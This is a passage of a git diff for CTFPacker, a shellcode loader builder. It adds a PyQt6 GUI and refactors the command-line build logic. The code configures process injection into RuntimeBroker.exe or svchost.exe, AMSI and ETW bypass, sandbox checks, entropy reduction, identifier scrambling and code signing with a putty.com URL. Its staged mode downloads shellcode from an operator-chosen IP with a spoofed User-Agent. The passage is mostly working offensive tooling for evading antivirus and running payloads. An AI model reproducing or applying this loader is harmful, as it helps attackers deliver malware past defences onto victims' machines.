self._on_format_changed(self._format_combo.currentText()) + + def _on_inject_changed(self, method: str): + is_apc = method == "apc" + self._target_label.setVisible(is_apc) + self._target_combo.setVisible(is_apc) + + def _on_format_changed(self, fmt: str): + is_exe = fmt == "EXE" + item = self._nav.item(self.PAGE_SIGNING) + if is_exe: + item.setFlags(item.flags() | Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable) + else: + item.setFlags(item.flags() & ~(Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable)) + if self._nav.currentRow() == self.PAGE_SIGNING: + self._nav.setCurrentRow(self.PAGE_OUTPUT) + + def set_build_enabled(self, enabled: bool): + self._build_btn.setEnabled(enabled) + if enabled: + self._build_btn.setText("BUILD") + else: + self._build_btn.setText("BUILDING...") + + def _validate(self) -> bool: + errors = [] + + payload = self._payload_edit.text().strip() + if not payload: + self._set_validation_error(self._payload_edit) + errors.append("Payload file") + elif not os.path.isfile(payload): + self._set_validation_error(self._payload_edit) + errors.append(f"Payload file not found: {payload}") + + if errors: + dlg_warn(self, "Missing Required Fields", + f"Please fill in: {', '.join(errors)}") + return False + return True + + @staticmethod + def _set_validation_error(widget): + widget.setProperty("validationError", True) + widget.style().unpolish(widget) + widget.style().polish(widget) + + @staticmethod + def _clear_validation(widget): + if widget.property("validationError"): + widget.setProperty("validationError", False) + widget.style().unpolish(widget) + widget.style().polish(widget) + + def _on_build(self): + if not self._build_btn.isEnabled(): + return + if not self._validate(): + return + + config = BuildConfig( + mode="stageless", + payload_path=self._payload_edit.text(), + format=self._format_combo.currentText(), + inject_method=self._inject_combo.currentText(), + target_process=self._target_combo.currentText(), + encrypt=self._encrypt_check.isChecked(), + scramble=self._scramble_check.isChecked(), + entropy_reduction=self._entropy_check.isChecked(), + sandbox_checks=self._sandbox_check.isChecked(), + sandbox_min_uptime_s=self._sb_uptime_spin.value(), + sandbox_min_ram_gb=self._sb_ram_spin.value(), + sandbox_min_cpu=self._sb_cpu_spin.value(), + bypass_amsi=self._amsi_check.isChecked(), + bypass_etw=self._etw_check.isChecked(), + debug_mode=self._debug_check.isChecked(), + pfx=self._pfx_edit.text() or None, + pfx_password=self._pfx_pass_edit.text() or None, + sign_description=self._sign_desc_edit.text().strip(), + sign_url=self._sign_url_edit.text().strip(), + output=self._output_edit.text() or "ctfloader", + ) + self.build_requested.emit(config) + + def _apply_config(self, config: BuildConfig): + self._payload_edit.setText(config.payload_path) + self._format_combo.setCurrentText(config.format) + self._inject_combo.setCurrentText(config.inject_method) + self._target_combo.setCurrentText(config.target_process) + self._encrypt_check.setChecked(config.encrypt) + self._scramble_check.setChecked(config.scramble) + self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False)) + self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False)) + self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300)) + self._sb_ram_spin.setValue(getattr(config, 'sandbox_min_ram_gb', 4)) + self._sb_cpu_spin.setValue(getattr(config, 'sandbox_min_cpu', 2)) + self._amsi_check.setChecked(getattr(config, 'bypass_amsi', False)) + self._etw_check.setChecked(getattr(config, 'bypass_etw', False)) + self._debug_check.setChecked(getattr(config, 'debug_mode', False)) + self._pfx_edit.setText(config.pfx or "") + self._pfx_pass_edit.setText("") # never restored — password is not persisted + self._sign_desc_edit.setText(getattr(config, 'sign_description', '') or "") + self._sign_url_edit.setText(getattr(config, 'sign_url', '') or "") + self._output_edit.setText(config.output) + + def _reset_defaults(self): + """Reset all fields to BuildConfig defaults.""" + self._apply_config(BuildConfig(mode="stageless")) + self._profile_combo.setCurrentIndex(0) + + # -- Profile management -- + + def _refresh_profiles(self): + self._profile_combo.blockSignals(True) + self._profile_combo.clear() + self._profile_combo.addItem("") + for name in self._history.list_profiles("stageless"): + self._profile_combo.addItem(name) + self._profile_combo.blockSignals(False) + + def _load_profile(self, name: str): + if not name: + return + config = self._history.load_profile("stageless", name) + if config: + self._apply_config(config) + + def _save_profile(self): + name = self._profile_combo.currentText().strip() + if not name: + name, ok = dlg_text(self, "Save Profile", "Profile name:") + if not ok or not name.strip(): + return + name = name.strip() + + config = BuildConfig( + mode="stageless", + payload_path=self._payload_edit.text(), + format=self._format_combo.currentText(), + inject_method=self._inject_combo.currentText(), + target_process=self._target_combo.currentText(), + encrypt=self._encrypt_check.isChecked(), + scramble=self._scramble_check.isChecked(), + entropy_reduction=self._entropy_check.isChecked(), + sandbox_checks=self._sandbox_check.isChecked(), + sandbox_min_uptime_s=self._sb_uptime_spin.value(), + sandbox_min_ram_gb=self._sb_ram_spin.value(), + sandbox_min_cpu=self._sb_cpu_spin.value(), + bypass_amsi=self._amsi_check.isChecked(), + bypass_etw=self._etw_check.isChecked(), + debug_mode=self._debug_check.isChecked(), + pfx=self._pfx_edit.text() or None, + pfx_password=self._pfx_pass_edit.text() or None, + sign_description=self._sign_desc_edit.text().strip(), + sign_url=self._sign_url_edit.text().strip(), + output=self._output_edit.text() or "ctfloader", + ) + self._history.save_profile("stageless", name, config) + self._refresh_profiles() + self._profile_combo.setCurrentText(name) + + def _delete_profile(self): + name = self._profile_combo.currentText().strip() + if not name: + return + if dlg_ask(self, "Delete Profile", f"Delete profile '{name}'?"): + self._history.delete_profile("stageless", name) + self._refresh_profiles() + + def _export_profile(self): + name = self._profile_combo.currentText().strip() + if not name: + dlg_warn(self, "No Profile Selected", + "Select a saved profile before exporting.") + return + try: + data = self._history.export_profile("stageless", name) + except KeyError: + dlg_warn(self, "Export Failed", + f"Profile '{name}' could not be found.") + return + path, _ = QFileDialog.getSaveFileName( + self, "Export Profile", f"{name}.ctfp", + "CTFPacker Profile (*.ctfp);;All Files (*)") + if not path: + return + try: + with open(path, "w") as fh: + json.dump(data, fh, indent=2) + except IOError as exc: + dlg_error(self, "Export Failed", f"Could not write file:\n{exc}") + + def _import_profile(self): + path, _ = QFileDialog.getOpenFileName( + self, "Import Profile", "", + "CTFPacker Profile (*.ctfp);;All Files (*)") + if not path: + return + try: + with open(path, "r") as fh: + data = json.load(fh) + except (json.JSONDecodeError, IOError) as exc: + dlg_error(self, "Import Failed", + f"Could not read profile file:\n{exc}") + return + + profile_mode = data.get("mode", "") + profile_name = data.get("name", "").strip() + + if profile_mode not in ("staged", "stageless"): + dlg_error(self, "Import Failed", + "Invalid profile file: unknown mode.") + return + + if profile_mode != "stageless": + if not dlg_ask(self, "Mode Mismatch", + f"This profile is for the {profile_mode} tab, " + f"not stageless.\nIt will be imported into the " + f"{profile_mode} profile list.\n\nContinue?", + default_yes=True): + return + + if profile_name in self._history.list_profiles(profile_mode): + if not dlg_ask(self, "Profile Exists", + f"A profile named '{profile_name}' already exists " + f"in the {profile_mode} tab.\nOverwrite?"): + return + + try: + mode, name = self._history.import_profile(data) + except ValueError as exc: + dlg_error(self, "Import Failed", str(exc)) + return + + self.profile_imported.emit() + if mode == "stageless": + self._profile_combo.setCurrentText(name) + else: + dlg_info(self, "Profile Imported", + f"Profile '{name}' imported into the {mode} tab.") diff --git a/Linux/gui/workers.py b/Linux/gui/workers.py new file mode 100644 index 0000000..e7d0842 --- /dev/null +++ b/Linux/gui/workers.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +"""Background build worker thread.""" +from PyQt6.QtCore import QThread, pyqtSignal + +from core.build_config import BuildConfig +from core.build_engine import BuildEngine + + +class BuildWorker(QThread): + """Runs BuildEngine.build() in a background thread.""" + + log_message = pyqtSignal(str, str) # (message, level) + build_finished = pyqtSignal(bool) # success + + def __init__(self, config: BuildConfig, parent=None): + super().__init__(parent) + self._config = config + + def run(self): + def log_cb(message, level): + self.log_message.emit(message, level) + + engine = BuildEngine(log_cb) + success = engine.build(self._config) + self.build_finished.emit(success) diff --git a/Linux/gui_main.py b/Linux/gui_main.py new file mode 100644 index 0000000..961e916 --- /dev/null +++ b/Linux/gui_main.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""GUI entry point for CTFPacker.""" + +from gui.app import run_gui + +if __name__ == "__main__": + run_gui() diff --git a/Linux/main.py b/Linux/main.py index 289e709..326a09d 100644 --- a/Linux/main.py +++ b/Linux/main.py @@ -5,805 +5,90 @@ Author: mocha X (Twitter): @mochabyte0x ''' -import os import sys -import random -import subprocess -import shutil, errno -from importlib import resources -from core.hashing import Hasher from argparse import ArgumentParser from core.utils import Colors, banner -from core.encryption import Encryption +from core.build_config import BuildConfig +from core.build_engine import BuildEngine +def cli_log(message: str, level: str): + """Print build messages with CLI color coding.""" + if level == "success": + print(Colors.green(f"[+] {message}")) + elif level == "warning": + print(Colors.light_yellow(f"[+] {message}")) + elif level == "error": + print(Colors.red(f"[!] {message}")) + else: + print(Colors.green(f"[i] {message}")) + def main(): + parser = ArgumentParser(description="CTFPacker", epilog="Author: @mochabyte") + subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True) - # Creating the parser first - parser = ArgumentParser(description="CTFPacker", epilog="Author: @mochabyte") - subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True) - - # Creating the subparsers - parser_staged = subparsers.add_parser("staged", help="Staged") - parser_stageless = subparsers.add_parser("stageless", help="Stageless") - - # Creating the arguments for the staged subcommand + # Staged subcommand + parser_staged = subparsers.add_parser("staged", help="Staged") parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True) parser_staged.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).") parser_staged.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe") - + parser_staged.add_argument("-inj", "--inject-method", type=str, choices=["apc", "copyfile2"], default="apc", help="Choose injection method: 'apc' for APC injection or 'copyfile2' for CopyFile2 progress callback execution (default: apc).") parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True) parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True) - parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True) + parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode is gonna be fetched.", required=True) parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.") - - + parser_staged.add_argument("--https", action="store_true", help="Use HTTPS instead of HTTP for downloading shellcode.") + parser_staged.add_argument("--user-agent", type=str, default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", help="Custom User-Agent string for HTTP/HTTPS requests.") parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.") parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.") + parser_staged.add_argument("-er", "--entropy-reduction", action="store_true", help="Reduce binary entropy by embedding English text padding.") parser_staged.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.") parser_staged.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.") + parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s --https --user-agent 'CustomAgent/1.0' -pfx cert.pfx -pfx-pass 'password'" - parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'" - - - # Creating the arguments for the stageless subcommand + # Stageless subcommand + parser_stageless = subparsers.add_parser("stageless", help="Stageless") parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True) parser_stageless.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).") parser_stageless.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe") - + parser_stageless.add_argument("-inj", "--inject-method", type=str, choices=["apc", "copyfile2"], default="apc", help="Choose injection method: 'apc' for APC injection or 'copyfile2' for CopyFile2 progress callback execution (default: apc).") parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.") parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.") + parser_stageless.add_argument("-er", "--entropy-reduction", action="store_true", help="Reduce binary entropy by embedding English text padding.") parser_stageless.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.") parser_stageless.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.") - parser_stageless.epilog = "Example usage: python main.py stageless -p shellcode.bin -e -s -pfx cert.pfx -pfx-pass 'password'" - # Parsing the arguments args = parser.parse_args() - - # Banner banner() -#--------------------------------------# -#----------- Staged Variant -----------# -#--------------------------------------# + # Build config from parsed args + config = BuildConfig( + mode=args.commands, + payload_path=args.payload, + format=args.format or "EXE", + inject_method=args.inject_method, + target_process=args.apc, + encrypt=args.encrypt, + scramble=args.scramble, + entropy_reduction=args.entropy_reduction, + pfx=args.pfx, + pfx_password=args.pfx_password, + output=getattr(args, 'output', None) or "ctfloader", + ip_address=getattr(args, 'ip_address', "") or "", + port=getattr(args, 'port', 8080) or 8080, + path=getattr(args, 'path', "") or "", + https=getattr(args, 'https', False), + user_agent=getattr(args, 'user_agent', BuildConfig.user_agent), + ) + + engine = BuildEngine(cli_log) + success = engine.build(config) + if not success: + sys.exit(1) - if args.commands == "staged": - - print(Colors.green("[i] Staged Payload selected.")) - print(Colors.light_yellow("[+] Starting the process...")) - - # We make a temporary folder called ".ctfpacker" and copy the template files to this folder. - cr_directory = os.path.dirname(os.path.abspath(__file__)) - src_directory = resources.files("templates").joinpath("staged") - dst_directory = f'{cr_directory}/.ctfpacker' - - # Copying the files from the templates folder to the temporary folder - try: - shutil.copytree(src_directory, dst_directory) - except OSError as e: - # deleting the folder if it exists - if e.errno == errno.EEXIST: - shutil.rmtree(dst_directory) - shutil.copytree(src_directory, dst_directory) - else: - print(f"Error: {e}") - - if args.payload and args.ip_address and args.port and args.path: - - print(Colors.green("[i] Corresponding template selected..")) - - ip = args.ip_address - port = args.port - path = args.path - - with open(f'{dst_directory}/download.c', 'r') as file: - download_data = file.readlines() - - for i in range(len(download_data)): - if "#-IP_VALUE-#" in download_data[i]: - download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip) - if "#-PORT_VALUE-#" in download_data[i]: - download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port)) - if "#-PATH_VALUE-#" in download_data[i]: - download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path) - - with open(f'{dst_directory}/download.c', 'w') as file: - file.writelines(download_data) - - # We read the shellcode from the file - with open(args.payload, "rb") as file: - payload = file.read() - - INITIAL_SEED = random.randint(5, 20) - INITIAL_HASH = random.randint(2000, 9000) - - NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH) - KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH) - KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH) - DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH) - CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH) - NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH) - - # Modifying all .c and .h files in the temporary folder - for filename in os.listdir(dst_directory): - if filename.endswith(".c") or filename.endswith(".h"): - with open(f"{dst_directory}/{filename}", "r") as file: - data = file.readlines() - - for i in range(len(data)): - if "#-INITIAL_HASH_VALUE-# " in data[i]: - data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH)) - if "#-INITIAL_SEED_VALUE-#" in data[i]: - data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED)) - if "#-NTDLL_VALUE-#" in data[i]: - data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH) - if "#-KERNEL32_VALUE-#" in data[i]: - data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH) - if "#-KERNELBASE_VALUE-#" in data[i]: - data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH) - if "#-DAPS_VALUE-#" in data[i]: - data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH) - if "#-CREATEPROCESSA_VALUE-#" in data[i]: - data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH) - if "#-NTMVOS_VALUE-#" in data[i]: - data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH) - - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(data) - - print(Colors.green("[+] Template files modified !")) - - print(Colors.light_yellow("[+] Setting APC injection target process...")) - # Handling the target APC injection. - if args.format is None or args.format == "EXE": - with open(f'{dst_directory}/main.c', 'r') as file: - main_data = file.readlines() - for i in range(len(main_data)): - if "#-TARGET_PROCESS-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc) - - # Writing the data back to the file - with open(f'{dst_directory}/main.c', 'w') as file: - file.writelines(main_data) - - if args.format == "DLL": - with open(f'{dst_directory}/main_dll.c', 'r') as file: - main_data = file.readlines() - for i in range(len(main_data)): - if "#-TARGET_PROCESS-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc) - - # Writing the data back to the file - with open(f'{dst_directory}/main_dll.c', 'w') as file: - file.writelines(main_data) - - print(Colors.green(f"[+] Target APC injection process set to {args.apc} !")) - - # Handling the case if encryption is wanted - if args.encrypt: - - print(Colors.green("[i] Encryption selected.")) - print(Colors.light_yellow("[+] Encrypting the payload...")) - - enc_payload, key, iv = Encryption.EncryptAES(payload) - - if os.path.exists(f"{args.output}.bin"): - os.remove(f"{args.output}.bin") - - with open(f"{args.output}.bin", "wb") as file: - file.write(enc_payload) - - # We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values - for filename in os.listdir(dst_directory): - if filename.startswith("main") and filename.endswith(".c"): - with open(f"{dst_directory}/{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "#-KEY_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key) - if "#-IV_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv) - - # Writing the data back to the file - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(main_data) - - print(Colors.green(f"[+] Payload encrypted and saved to {os.getcwd()}/{args.output}.bin !")) - - - # If encryption is not wanted (for whatever reason) - if args.encrypt is False: - - print(Colors.green("[i] Encryption not selected.")) - print(Colors.light_yellow("[+] Compiling the loader...")) - - # We comment out the encryption function in the main.c file - for filename in os.listdir(dst_directory): - if filename.startswith("main") and filename.endswith(".c"): - with open(f"{dst_directory}/{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "#include \"AES_128_CBC.h\"" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "AES_CTX" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "Starting the decryption..." in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]: - main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{" - - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(main_data) - - # We copy the payload file to the path specified by the user - shutil.copy(args.payload, f"{args.output}.bin") - - if args.scramble: - - print(Colors.green("[i] Scrambling selected.")) - print(Colors.light_yellow("[+] Scrambling the loader...")) - - functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer", - "CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit", - "GetContent", "NTAVM", "NTPVM", "NTWVM", "NTQAT"] - scrambled_functions = [] - - variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"] - scrambled_variables = [] - - alphabet = list("abcdefghijklmnopqrstuvwxyz") - used_combos = set() - - # Scrambling the functions - for sign in functions + variables: - letter = random.choice(alphabet) - multiplier = random.randint(1, 128) - while (letter, multiplier) in used_combos: - letter = random.choice(alphabet) - multiplier = random.randint(1, 128) - used_combos.add((letter, multiplier)) - scrambled_sign = letter * multiplier - - if sign in functions: - scrambled_functions.append(scrambled_sign) - else: - scrambled_variables.append(scrambled_sign) - - # Modifying all .c and .h files in the temporary folder - for filename in os.listdir(dst_directory): - if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"): - with open(f"{dst_directory}/{filename}", "r") as file: - data = file.readlines() - - for i in range(len(data)): - if "HashStringDjb2A" in data[i]: - data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0]) - if "GetProcAddressH" in data[i]: - data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1]) - if "GetModuleHandleH" in data[i]: - data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2]) - if "MapNtdll" in data[i]: - data[i] = data[i].replace("MapNtdll", scrambled_functions[3]) - if "Unhook" in data[i]: - data[i] = data[i].replace("Unhook", scrambled_functions[4]) - if "AES_DecryptInit" in data[i]: - data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5]) - if "AES_DecryptBuffer" in data[i]: - data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6]) - if "CreateSuspendedProcess" in data[i]: - data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7]) - if "APCInjection" in data[i]: - data[i] = data[i].replace("APCInjection", scrambled_functions[8]) - if "cDAPSu" in data[i]: - data[i] = data[i].replace("cDAPSu", scrambled_functions[9]) - if "cCPAu" in data[i]: - data[i] = data[i].replace("cCPAu", scrambled_functions[10]) - if "aes_k" in data[i]: - data[i] = data[i].replace("aes_k", scrambled_functions[11]) - if "aes_i" in data[i]: - data[i] = data[i].replace("aes_i", scrambled_functions[12]) - if "AES_Decrypt" in data[i]: - data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13]) - if "AES_Encrypt" in data[i]: - data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14]) - if "AES_EncryptInit" in data[i]: - data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15]) - if "GetContent" in data[i]: - data[i] = data[i].replace("GetContent", scrambled_functions[16]) - if "NTAVM" in data[i]: - data[i] = data[i].replace("NTAVM", scrambled_functions[17]) - if "NTPVM" in data[i]: - data[i] = data[i].replace("NTPVM", scrambled_functions[18]) - if "NTWVM" in data[i]: - data[i] = data[i].replace("NTWVM", scrambled_functions[19]) - if "NTQAT" in data[i]: - data[i] = data[i].replace("NTQAT", scrambled_functions[20]) - - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(data) - - # Modifying the main.c file - for filename in os.listdir(dst_directory): - if filename.startswith("main") and filename.endswith(".c"): - with open(f"{dst_directory}/{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "sEncPayload" in main_data[i]: - main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0]) - if "pEncPayload" in main_data[i]: - main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1]) - if "pClearText" in main_data[i]: - main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2]) - if "ctx" in main_data[i]: - main_data[i] = main_data[i].replace("ctx", scrambled_variables[3]) - if "hProcess" in main_data[i]: - main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4]) - if "pProcess" in main_data[i]: - main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5]) - if "dwSizeOfClearText" in main_data[i]: - main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6]) - if "dwOldProtect" in main_data[i]: - main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7]) - if "dwProcessId" in main_data[i]: - main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8]) - - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(main_data) - - print(Colors.green("[+] Loader scrambled !")) - - if args.format is None or args.format == "EXE": - if args.pfx: - - print(Colors.green("[i] Signing selected.")) - print(Colors.light_yellow("[+] Signing the loader...")) - - if args.pfx is not None: - pfx_path = args.pfx - else: - print(Colors.red("[!] PFX file not found")) - sys.exit(1) - - if args.pfx_password: - pfx_password = args.pfx_password - else: - print(Colors.red("[!] PFX password not provided")) - sys.exit(1) - - input_binary = "ctfloader.exe" - signed_binary = "ctfloader_signed.exe" - - os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE") - shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe") - - if os.path.exists("ctfloader_signed.exe"): - os.remove("ctfloader_signed.exe") - - subprocess.run([ - f"osslsigncode", - "sign", - "-pkcs12", pfx_path, - "-pass", pfx_password, - "-n", "Signed Loader", - "-i", "https://putty.com", - "-t", "http://timestamp.sectigo.com", - "-in", input_binary, - "-out", signed_binary - ], check=True) - - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader signed !")) - - else: - - # Everything has been modified, we can now compile the loader - os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE") - - # We move the compiled loader one directory up - shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe") - - # We delete the temporary folder - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader compiled !")) - - print(Colors.green("[+] DONE !")) - - if args.format == "DLL": - - print(Colors.green("[i] DLL format selected.")) - - os.system(f"cd '{dst_directory}' && make clean && make FORMAT=DLL") - - # We move the compiled loader one directory up - shutil.move(f"{dst_directory}/ctfloader.dll", f"ctfloader.dll") - - # We delete the temporary folder - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader compiled !")) - - print(Colors.green("[+] DONE !")) - -#-----------------------------------------# -#----------- Stageless Variant -----------# -#-----------------------------------------# - if args.commands == "stageless": - - print(Colors.green("[i] Stageless Payload selected.")) - print(Colors.light_yellow("[+] Starting the process...")) - - # We make a temporary folder called ".ctfpacker" and copy the template files to this folder. - cr_directory = os.path.dirname(os.path.abspath(__file__)) - src_directory = resources.files("templates").joinpath("stageless") - dst_directory = f'{cr_directory}/.ctfpacker' - - - # Copying the files from the templates folder to the temporary folder - try: - shutil.copytree(src_directory, dst_directory) - except OSError as e: - # deleting the folder if it exists - if e.errno == errno.EEXIST: - shutil.rmtree(dst_directory) - shutil.copytree(src_directory, dst_directory) - else: - print(f"Error: {e}") - - # Parsing the args now - if args.payload: - - # We read the shellcode from the file - with open(args.payload, "rb") as file: - raw_payload = file.read() - - # converting the payload to hex for ease - payload = ', '.join(f"0x{b:02x}" for b in raw_payload) - - INITIAL_SEED = random.randint(5, 20) - INITIAL_HASH = random.randint(2000, 9000) - - NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH) - KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH) - KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH) - DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH) - CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH) - NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH) - - # Modifying all .c and .h files in the temporary folder - for filename in os.listdir(dst_directory): - if filename.endswith(".c") or filename.endswith(".h"): - with open(f"{dst_directory}/{filename}", "r") as file: - data = file.readlines() - - for i in range(len(data)): - if "#-INITIAL_HASH_VALUE-# " in data[i]: - data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH)) - if "#-INITIAL_SEED_VALUE-#" in data[i]: - data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED)) - if "#-NTDLL_VALUE-#" in data[i]: - data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH) - if "#-KERNEL32_VALUE-#" in data[i]: - data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH) - if "#-KERNELBASE_VALUE-#" in data[i]: - data[i] = data[i].replace("#-KERNELBASE_VALUE-#", 